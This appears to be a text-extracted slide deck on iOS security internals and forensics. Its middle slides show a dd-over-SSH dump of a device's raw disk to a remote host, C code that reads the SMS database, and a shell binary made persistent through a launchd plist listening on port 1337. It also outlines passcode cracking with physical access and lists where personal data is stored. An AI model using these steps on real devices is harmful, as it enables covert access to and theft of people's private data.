Powerpoint Templates

1. iOS Security and Forensics Powerpoint Templates

2. Apple’s Security Model • iDevice applications available on Apple Store • Tested, analyzed, approved, signed then distributed by Apple services • Installed in: • /private/var/mobile/Applications/{Unique_App_ID} • Full list of installed applications : • /private/var/mobile/Library/Caches/com.apple.mobile.installation.plist • Executed under “mobile” user in TrustedBSD sandbox • ASLR and DEP activated • All that, on a fully encrypted filesystem.

3. Apple’s Directories Sandboxing

4. TrustedBSD Sandbox • Open source project for FreeBSD systems • Sponsored by Apple, Google, Yahoo!, NSA… • Modified and used by Apple for OS X and iOS • Installs series of hooks, in order to intercept and filter syscalls. • Policy retrieved from a human readable file then passed to the kernel in a binary format. • Finally the kernel installs sanbox rules for the process

5. Policy rules • Stored in /usr/share/sandbox and hardcoded in the Kernel • Some policies configuration are done by the user through popups • Written in ESDL schema, human readable: • (version 1) • (allow default) • (deny file-read-data (regex #”^/private/tmp/test\.c$”)) • $ sandbox_exec –p ‘{$POLICY}’ /bin/sh • $ file /private/tmp/test.c • test.c: cannot open: Operation not permitted • $ sandbox_exec –n no-internet /bin/sh • $ ping 4.2.2.2 • ping: sendto: Operation not permitted • The sandbox_init() syscall uses the libsandbox.dylib to convert the policy into binary format.

6. iDevice Storage Device • NAND storage device exploited like the following: • BOOT (block 0): contains the bootloader • PLOG (block 1) : contains the EMF, BAG1 and Dkey • EMF : used to encrypt the entire filesystem and HFS journal • BAG1 : used to encrypt the keybag • Dkey : used to encrypt files without encryption policy class • NVM (block 2-7) : stores the NVRAM parameters • FIRM (block 8-15) : stores the firmware, iBoot, device tree & logos • FSYS (block 16-4084): stores the encrypted filesystem • RSRV (last 15 blocks): reserved

7. Encryption mechanism • Starting from iPhone 3GS, Apples devices contain hardware encryption processor. It permit the following: • UID keys stored in the processor • 0x835 & 0x89B keys derived from the UID key • Filesystem : • Data partition encrypted with EMF (AES-128) • System partition encrypted with hardcoded AES-256 key (in kernel & bootloaders) • Keychain encryption with the Dkey • The Keybagcontains Master Keys for Protection Classes • Some Master Keys encrypted with passcode • Each file on the filesystem encrypted with a “cprotect” key • Each “cprotect” key is encrypted with the file’s associated Protection Class Master Key • At boot, the EMF and Dkey are extracted automatically

8. Protection Classes • Files decryption is defined according to their associated “Protection Classes”. • Protection Classes used for files: • NSFileProtectionComplete: file only decrypted when the iDevice is unlocked. • NSFileProtectionCompleteUnlessOpen: file only decrypted when the iDevice is unlocked. It stay decrypted even after lock if the application maintains it open. • NSFileProtectionCompleteUntilUserAuthentication: file decrypted after a successful unlock. It remains decrypted until next reboot. • NSFileProtectionNone: file decrypted using the Dkey. • NSFileProtectionRecovery: undocumented. • Protection Classes used for keychains: • kSecAttrAccessibleWhenUnlocked[ThisDeviceOnly] • kSecAttrAccessibleAfterFirstUnlock[ThisDeviceOnly] • kSecAttrAccessibleAlways[ThisDeviceOnly]

9. Data wiping and recovery • Filesystem’swipingconsists of rewriting the EMF & Dkey • Files deletionconsists of rewriting the associatedcprotect • The filesystem’s journal: • encryptedwith the Dkey • containscprotectkeys in cleartext • rotation depending on filesystem’sactivity • couldberetrieved and used to recoverdeleted files • /dev/disk0s1s2 raw data backup: • Connect the iDevice to power supply • Disable the autolock • Run: • $ dd if=/dev/rdisk0 bs=4k | ssh -C username@computer_ip 'dd of=/home/{$USER}/dump.dmg' • - Wait… for… a… while….

10. Security chain

11. Jailbreak • Execution of third party applications/code allowed • Unsigned code execution granting (depending on jailbreaks) • Complete bypass of the sandbox • Root (/) partition mounted in read/write. • Before jailbreak: • $ cat /etc/fstab • /dev/disk0s1 / hfsr 0 1 • /dev/disk2s1 /private/varhfsrw 0 2 • After jailbreak: • $ cat /etc/fstab • /dev/disk0s1 / hfsrw 0 1 • /dev/disk2s1 /private/varhfsrw 0 2 • Note:on iOS >=5, /dev/disk2s1 became /dev/disk1s2

12. Useful information • launchd: first executed binary while booting (init like) • watchdog: checks if a process is running in memory more than 5mn, if yes it reboots the iDevice • launchctl : used to control daemons • $ launchctl load com.adel.reverse_shell.plist • ldid: Link Identity Editor, used to sign a binary • $ ldid –S my_binary • usbmux: protocol created to encapsulate TCP over USB connections. Optimized and used by iTune. • XCode: developpment platform on Mac OS X, freely downloadable on Apple Store • Cydia Store: online non official applications store for jailbroken devices • SSH binaries: freely available package over Cydia store.

13. HelloWorld for iDevice • Simple HelloWorld\n program: • - $ cat helloworld.c • #include <stdio.h> • int main(intargc, char *argv[]) • { • printf(“HelloWorld\n”); • return 0; • } • $ export PF=/Developer/Platforms/iPhoneOS.platform • $ $PF/Developer/usr/boin/arm-apple-darwin10-llvm-gcc-4.2 -o hello hello.c -isysroot $PF/Developer/SDKs/iPhoneOS5.0.sdk/ • Binary auto-siging: • $ ldid –S hello • Simple binary file transfer over SSH: • $ scp hello root@<iDevice_IP_Addr>:/usr/bin/my_binary

14. Local File Disclosure • $ cat lfi_smsdb.c • #include <stdio.h> • main() • { • FILE *fp=NULL; • int c=0; • fp=fopen("/var/mobile/Library/SMS/sms.db","r"); • do { • c=fgetc(fp); • printf("%c",c); • } while (!feof(fp)); • fclose(fp); • return 0; • }

15. Reverse Shell • $ cat reverse_shell.c • #include <stdio.h> • #include <unistd.h> • main() • { • execve("/bin/sh", NULL, NULL); • return 0; • }

16. Process Daemonizing • Copying reverse_shell to the iDevice /usr/bin • Copying com.adel.reverse_shell.plist to the iDevice /System/Library/LaunchDaemons/ • Rebooting the iDevice or : • $ cd /System/Library/LaunchDaemons • $ launchctl load ./com.adel.reverse_shell.plist

17. plist Manifest Format • XML file format, used for configuration purpose • $ cd /System/Library/LaunchDaemons • $ cat com.adel.reverse_shell.plist • <?xml version="1.0" encoding="UTF-8"?> • <plist version="1.0"> • ... • <key>Label</key> • <string>com.adel.reverse_shell</string> • <key>Program</key> • <string>/usr/bin/reverse_shell</string> • <key>Sockets</key> • <dict> • <key>Listeners</key> • <dict> • <key>SockServiceName</key> • <string>1337</string> • </dict> • </dict> • ... • </plist>

18. Physical Access Pwnage • Manypossibilities: • Easy: the iDevicedoes not have passcode • Full access to data over SpringBoard, SSH or after boot on ramdisk • Medium: the iDevice has a passcode < 4 digits • - Booting on ramdisk, patching the kernel and cracking the passcode • Needs max 30mn of passcode cracking (10^4 possibilities) • Medium ++: the iDevice has a passcode > 5 digits • Couldtake time for cracking • The xkcd 5$ wrenchshallbeused ! • Hard: the iDevice has a boot passcode (EMF + Dkeyencryptedwiththat) • ? Doesitexist ?

19. LiveCD vs RAMDISK • A 2mb HFS+ container with: • customizedlaunchd • binaries to copy/execute • plist files • Loadedinto the iDevice over USB and after reboot to DFU mode • exploit the iDevicevulnerability • load the ramdisk on RAM • executelaunchd • disablewatchdog • option 1: • scan and mount the filesystem (EMF + Dkey auto-extracted) • copy files on the filesystem • chroot on the mountedfilesystem • option 2: • initialize the usbmuxprotocol • read and sendraw NAND data over USB (EMF + Dkey must beextractedmanually

20. Sensitive Data • Keyboard cache • Clipboard buffer • Consolidated GPS positions databse and latest GPS position • Applications and Safari snapshot cache • Google maps cache and history • Address book, photos, songs, voice records, notes, calendar, call history • SMS, MMS, drafts and SpotLight SMS cache • Geolocalization tags on photos • Safari cache, search list, bookmarks, cookies, history and WebKit cache • Installed applications list • Emails, applications, their data and cache • Lastest dialed number, bookmarked contact list, IMSI, ICCID • Configured access point list • …

21. Keyboard Cache • Contains the keyboard cache • Written known and unknown words • One cache per language • Available in /private/var/mobile/Library/Keyboard/

22. Keyboard Cache

23. Applications snapshot Available in: $ /private/var/mobile/Library/Caches/Snapshots/{APP_NAME}/{NAME}.jpg

24. Consolidated GPS Positions Databse Available in: $ /private/var/root/Library/Caches/locationd/consolidated.db

25. Consolidated GPS Positions Databse Available in: $ /private/var/root/Library/Caches/locationd/consolidated.db

26. Consolidated GPS Positions Databse Available in: $ /private/var/root/Library/Caches/locationd/consolidated.db

27. End. Questions ?